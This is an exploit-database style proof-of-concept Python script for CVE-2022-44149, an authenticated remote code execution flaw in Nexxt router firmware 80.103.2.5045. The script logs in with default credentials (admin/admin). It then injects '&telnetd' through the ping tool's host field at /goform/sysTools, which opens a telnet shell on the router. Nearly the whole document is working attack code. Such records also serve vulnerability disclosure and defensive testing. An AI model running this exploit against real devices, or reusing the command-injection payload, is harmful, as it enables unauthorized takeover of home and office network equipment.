# Exploit Title: Nexxt Router Firmware 80.103.2.5045 - Remote Code Execution (RCE) (Authenticated)
# Date: 19/10/2022
# Exploit Author: Yerodin Richards
# Vendor Homepage: https://www.nexxtsolutions.com/
# Version: 80.103.2.5045
# Tested on: ARN02304U8, ARLGL174U1
# CVE : CVE-2022-44149

import requests
import base64

router_host = "http://192.168.0.1"
username = "admin"
password = "admin"


def main():
    auth_v80(username, password)
    send_payload("&telnetd")
    print("connect to router using: `telnet "+router_host.split("//")[1]+ "` using known credentials")
    pass

def gen_header(u, p):
    return base64.b64encode(f"{u}:{p}".encode("ascii")).decode("ascii")

def auth_v80(u, p):
    url = router_host+"/goform/setAuth"
    params = {"tool":"0", "loginUser":u, "loginPass": p, "sumbit": "OK"}
    requests.post(url, data=params)

def send_payload(payload):
    url = router_host+"/goform/sysTools"
    headers = {"Authorization": "Basic {}".format(gen_header(username, password))}
    params = {"tool":"0", "pingCount":"4", "host": payload, "sumbit": "OK"}
    requests.post(url, headers=headers, data=params)


if __name__ == '__main__':
    main()